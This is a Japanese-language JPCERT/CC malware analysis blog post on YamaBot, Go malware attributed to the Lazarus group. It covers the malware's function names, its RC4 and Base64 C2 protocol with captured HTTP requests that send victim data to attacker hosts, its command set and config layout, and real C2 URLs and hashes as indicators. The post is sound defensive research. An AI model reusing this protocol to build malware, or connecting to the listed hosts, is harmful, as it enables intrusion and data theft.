攻撃グループLazarusが使用するマルウェアYamaBot

JPCERT/CCでは、攻撃グループLazarusの活動を継続的に調査しています。2021年には、CODE BLUEおよびHITCONにて攻撃グループLazarusの攻撃活動について発表をしています。

https://github.com/JPCERTCC/Lazarus-research/

上記の調査レポートで共有したLinux OSをターゲットにしたマルウェアYamaBot(資料内では、Kaosと記載していますが、本ブログではYamaBotと記載します)について、Windows OSをターゲットにしたものが最近確認されました。YamaBotは、Go言語で作成されたマルウェアで、各プラットホーム向けに作成されたマルウェア間で機能が多少異なります。YamaBot以外にも、攻撃グループLazarusは、VSingleなどマルチプラットフォームをターゲットにしたマルウェアを複数使用しています。今回は、このYamaBotについて詳細を解説します。

YamaBotの概要

YamaBotは、C2サーバーとHTTPリクエストを使用して通信を行うマルウェアです。以下は、Windows OSをターゲットにした検体内に含まれていたマルウェアの関数名の一覧です。YamaBotは、攻撃者自身がこのマルウェアに命名しているものです。Windows OSをターゲットにしたものでは、Mutexを作成・確認する機能など、Windows固有の機能が含まれています。

_/D_/Bot/YamaBot/utilities.BaseDecodeR
_/D_/Bot/YamaBot/utilities.HttpPostWithCookie
_/D_/Bot/YamaBot/utilities.HttpPostWithFile
_/D_/Bot/YamaBot/utilities.GetMacAddress
_/D_/Bot/YamaBot/utilities.GetHash
_/D_/Bot/YamaBot/utilities.GetCookieParams
_/D_/Bot/YamaBot/utilities.GetRndString
_/D_/Bot/YamaBot/utilities.BmpMaker
_/D_/Bot/YamaBot/utilities.createMutex
_/D_/Bot/YamaBot/utilities.CCheckkmutex
_/D_/Bot/YamaBot/utilities.CIpaddress
_/D_/Bot/YamaBot/utilities.COsname
_/D_/Bot/YamaBot/utilities.getOSVer
_/D_/Bot/YamaBot/utilities.Run
_/D_/Bot/YamaBot/utilities.Run.func1
_/D_/Bot/YamaBot/utilities.Run.func2
_/D_/Bot/YamaBot/engine.(*FileStruct).Lunch
_/D_/Bot/YamaBot/engine.(*FileStruct).Init_Verbindung
_/D_/Bot/YamaBot/engine.(*FileStruct).Verschlusselte_Zeichenkette_Eerhalten
_/D_/Bot/YamaBot/engine.(*FileStruct).getInitBotInfo
_/D_/Bot/YamaBot/engine.(*FileStruct).getEggPrice
_/D_/Bot/YamaBot/engine.(*FileStruct).handleMarketPrice
_/D_/Bot/YamaBot/engine.(*FileStruct).processMarketPrice
_/D_/Bot/YamaBot/engine.(*FileStruct).getSessionStr

以下は、Linux OSをターゲットにした検体内に含まれていたマルウェアの関数名の一覧です。こちらでは、kaosという名前を使用していました。

_/C_/Users/administrator/Downloads/kaos/utilities.BaseDecodeR
_/C_/Users/administrator/Downloads/kaos/utilities.HttpPostWithCookie
_/C_/Users/administrator/Downloads/kaos/utilities.BaseDecode
_/C_/Users/administrator/Downloads/kaos/utilities.HttpPostWithFile
_/C_/Users/administrator/Downloads/kaos/utilities.GenerateUniqueID
_/C_/Users/administrator/Downloads/kaos/utilities.GetCookieParams
_/C_/Users/administrator/Downloads/kaos/utilities.BaseEncode
_/C_/Users/administrator/Downloads/kaos/utilities.GetRndString
_/C_/Users/administrator/Downloads/kaos/utilities.EierKochen
_/C_/Users/administrator/Downloads/kaos/utilities.CIpaddress
_/C_/Users/administrator/Downloads/kaos/utilities.Run
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).Lunch
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).kandidatKaufhaus
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).initDuck
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).GetEncString
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).getInitEggPrice
_/C_/Users/administrator/Downloads/kaos/utilities.COsname
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).getEggPrice
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).handleMarketPrice
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).processMarketPrice
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).getSessionStr
_/C_/Users/administrator/Downloads/kaos/engine.NewEgg

図1は、設定情報を読み込むコードの一部です。マルウェアの設定情報内には、RC4キーなどが含まれています(設定情報の詳細に関しては、Appendix Aをご覧ください)。設定情報については、OSによる違いはありません。

設定情報を読み込むコード
図1: 設定情報を読み込むコード

以降では、YamaBotの通信方式およびコマンドについてLinux OS向けバージョンとWindows OS向けバージョンの違いを中心に記載します。

通信方式

YamaBotは、C2サーバーとHTTPリクエストを使用して通信を行います。以下は、YamaBotが最初に送信するHTTP POSTリクエストです。HTTP POSTリクエストなのですが、送信するデータはありません。また、UserAgentがBase64エンコードされているという特徴があります。

POST /editor/session/aaa000/support.php HTTP/1.1
Host: 213.180.180.154
User-Agent: TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzYwLjAuMzExMi4xMTMgU2FmYXJpLzUzNy4zNg==
Connection: close
Content-Length: 0
Accept-Encoding: gzip

C2サーバーとの接続に成功すると、次のリクエストを送信します。YamaBotは、Cookieヘッダーに情報を含めて送信します。captcha_sessionには、ランダムに生成した文字列とRC4キー([ランダムな文字(16バイト)][RC4キー(16バイト)][ランダムな文字(4バイト)])がBase64エンコードされて含まれます。RC4キーは、以下のデータから作成されたMD5値の先頭16バイトが使われます。

  • ターゲットWindows OS: ホスト名、ユーザー名、MACアドレス
  • ターゲットLinux OS: ホスト名、ユーザー名

captcha_valには、端末情報やコマンド実行結果が、RC4暗号化およびBase64エンコードされて含まれます。

POST /editor/session/aaa000/support.php HTTP/1.1
Host: 213.180.180.154
User-Agent: TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzYwLjAuMzExMi4xMTMgU2FmYXJpLzUzNy4zNg==
Connection: close
Content-Length: 0
Cookie: captcha_session=MTE5NzZmMTYwYzRlNTU4YjhhNDZhMTM4ZGMwNzgzNTNhNmUy; captcha_val=W%2BIePQNeokInrSpb%2Fw1rTLAZvJAZQHmqAm2rXWdTsCvZ
Accept-Encoding: gzip

なお、captcha_valで最初に送信されるデータは、OS情報およびIPアドレスであり、以下のような内容が送信されます。

windows 6 amd64|[192.168.1.1]
linux 386|[192.168.1.1]

さらに、送信するデータサイズが特定のサイズ(3,333バイト、7,000バイトの例を確認)を超えると、captcha_valではなく、マルチパートによるBMPデータに偽装して送信されます。

POST /recaptcha.php HTTP/1.1
Host: www.karin-store.com
User-Agent: TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzYwLjAuMzExMi4xMTMgU2FmYXJpLzUzNy4zNg==
Connection: close
Content-Length: [Length]
Content-Type: multipart/form-data; boundary=f24fad327291ab32166b7aa751d1d945a35933ee5bd81618274cda6afeeb
Cookie: captcha_session=YTY5NDQ5MDYwNmRkNjIyOWI3MzU1NTNmYzMxMzhiNTAyNGJh; captcha_val=NGI5NjdhNTdhNjliZTVkMg%3D%3D
Accept-Encoding: gzip

--f24fad327291ab32166b7aa751d1d945a35933ee5bd81618274cda6afeeb
Content-Disposition: form-data; name="recaptcha"; filename="recaptcha.png"
Content-Type: application/octet-stream

BMf6(....0a..DT043b01c728892b495b99ea4c257fe3a8fea3a5f
--f24fad327291ab32166b7aa751d1d945a35933ee5bd81618274cda6afeeb--

サーバーからの命令は、Set-Cookieヘッダーに含まれます。命令は、以下のようにRC4暗号化およびBase64エンコードされてcaptcha_sessionに含まれます。なお、RC4キーはマルウェアが送信したデータが使用されます。

Set-Cookie: captcha_session=[Base64エンコードされた命令]

コマンド

C2サーバーからの命令によって実行されるコマンドには、ターゲットOSによって大きな違いがあります。Linux OSをターゲットにしたものは、/bin/sh でシェルコマンドを実行する機能しかありません。対して、Windows OSをターゲットにしたものは、以下のとおり複数のコマンドが実装されています。

  • dir: ファイル一覧取得
  • Mapfs: ディレクトリ一覧取得
  • Download: ファイルダウンロード
  • Info: ファイルパス、PIDの送信
  • Sleep: Sleep時間の変更
  • Uninstall: 本体削除
  • i: インターバル時間の変更
  • その他: 与えられた文字列をシェルコマンドで実行

コマンドは[コマンド][コマンドパラメーター]の形式になっており、前半部分に上記コマンドが含まれます。

なお、コマンドiが実行された場合、以下のようなドイツ語含めてコマンド実行結果が送信されます。YamaBot内に、ドイツ語が含まれている理由は不明です。

iコマンド実行時に送信するデータ
図2: iコマンド実行時に送信するデータ

おわりに

YamaBotは、攻撃者によって現在でも使用されているマルウェアです。Windows OSだけだはなく、Linux OSもターゲットにすることから、インシデント調査時はサーバーについても入念に調査をする必要があります。攻撃グループLazarusの攻撃活動は、国内でも複数確認されており、今後も注意が必要です。次回も、攻撃グループLazarusが使用するマルウェアについて紹介する予定です。

インシデントレスポンスグループ 朝長 秀誠

Appendix A: 設定情報

表 A-2: 設定情報の一覧(x86)
オフセット 説明 備考
0x000 インターバル 通信間隔
0x004 - 未使用
0x008 C2サーバー
0x00C C2サーバーの長さ
0x010 RC4キー
0x014 RC4キーの長さ
0x018 C2サーバーの接続 C2サーバーに接続成功有無
0x01C Cookieヘッダー値 Cookieヘッダーにセットする値
0x020 - 未使用
0x024 接続回数 C2サーバーへの再接続回数
表 A-1: 設定情報の一覧(x64)
オフセット 説明 備考
0x000 インターバル 通信間隔
0x008 C2サーバー
0x010 C2サーバーの長さ
0x018 RC4キー
0x020 RC4キーの長さ
0x028 C2サーバーの接続 C2サーバーに接続成功有無
0x030 Cookieヘッダー値 Cookieヘッダーにセットする値
0x038 - 未使用
0x040 接続回数 C2サーバーへの再接続回数

Appendix B: 通信先

  • http://www.karin-store.com/recaptcha.php
  • http://yoshinorihirano.net/wp-includes/feed-xml.php
  • http://213.180.180.154/editor/session/aaa000/support.php

Appendix C: マルウェアのハッシュ値

  • f226086b5959eb96bd30dec0ffcbf0f09186cd11721507f416f1c39901addafb
  • 6db57bbc2d07343dd6ceba0f53c73756af78f09fe1cb5ce8e8008e5e7242eae1
≪ 前へ
トップに戻る
次へ ≫